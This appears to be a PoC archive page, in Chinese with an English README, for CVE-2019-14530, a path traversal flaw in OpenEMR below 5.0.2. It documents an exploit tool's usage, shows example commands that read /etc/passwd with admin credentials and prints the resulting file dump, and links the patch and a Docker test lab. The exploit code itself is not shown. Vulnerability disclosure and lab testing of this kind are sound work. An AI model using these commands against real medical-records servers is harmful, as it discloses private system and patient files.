目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2019-14530 PoC — OpenEMR 路径遍历漏洞

来源
关联漏洞
标题: OpenEMR 路径遍历漏洞 (CVE-2019-14530)
Description:OpenEMR是OpenEMR社区的一套开源的医疗管理系统。该系统可用于医疗实践管理、电子医疗记录、处方书写和医疗帐单申请。 OpenEMR 5.0.2之前版本中的custom/ajax_download.php文件的‘fileName’参数存在路径遍历漏洞。攻击者可利用该漏洞下载任意文件。
Description
OpenEMR < 5.0.2 - (Authenticated) Path Traversal - Local File Disclosure
介绍
# OpenEMR CVE-2019-14530 exploit

> OpenEMR < 5.0.2 - (Authenticated) Path Traversal - Local File Disclosure

Exploit for [CVE-2019-14530][CVE-2019-14530].

[[EDB-50087](https://www.exploit-db.com/exploits/50087)] [[PacketStorm](https://packetstormsecurity.com/files/163375/OpenEMR-5.0.1.7-Path-Traversal.html)]

## Usage

```
$ ruby exploit.rb -h                                              
OpenEMR < 5.0.2 - (Authenticated) Path Traversal - Local File Disclosure

Source: https://github.com/sec-it/exploit-CVE-2019-14530

Usage:
  exploit.rb exploit <url> <filename> <username> <password> [--debug]
  exploit.rb -h | --help

Options:
  <url>       Root URL (base path) including HTTP scheme, port and root folder
  <filename>  Filename of the file to be read
  <username>  Username of the admin
  <password>  Password of the admin
  --debug     Display arguments
  -h, --help  Show this screen

Examples:
  exploit.rb exploit http://example.org/openemr /etc/passwd admin pass
  exploit.rb exploit https://example.org:5000/ /etc/passwd admin pas
```

## Example

```
$ ruby exploit.rb exploit http://172.21.0.2 /etc/passwd admin pass
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
apache:x:100:101:apache:/var/www:/sbin/nologin
```

## Requirements

- [httpx](https://gitlab.com/honeyryderchuck/httpx)
- [docopt.rb](https://github.com/docopt/docopt.rb)

Example using gem:

```bash
bundle install
# or
gem install httpx docopt
```

## Docker deployment of the vulnerable software

Warning: of course this setup is not suited for production usage!

```
$ sudo docker-compose up
```

## Limitations

- **Read**: of course you are reading with the web user permissions so don't expect to read root files

## References

- Target software: **OpenEMR**
  - Homepage: https://www.open-emr.org/
  - Source: https://github.com/openemr/openemr
  - Docker: see `docker-compose.yml`
  - Vulnerable version: < 5.0.2 (it means up to 5.0.1.7)
  - Patch: https://github.com/openemr/openemr/pull/2592/files

This is a better re-write [EDB-50037][EDB-50037].

The vulnerability was found by [Wezery](https://github.com/Wezery).

Analysis of the original exploit and vulnerability:

- [Path traversal vulnerability - PDF](https://raw.githubusercontent.com/Wezery/CVE-2019-14530/master/Path%20traversal%20and%20DoS.pdf)
- [README#Description](https://github.com/Wezery/CVE-2019-14530#description)

[EDB-50037]:https://www.exploit-db.com/exploits/50037
[CVE-2019-14530]:https://nvd.nist.gov/vuln/detail/CVE-2019-14530
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →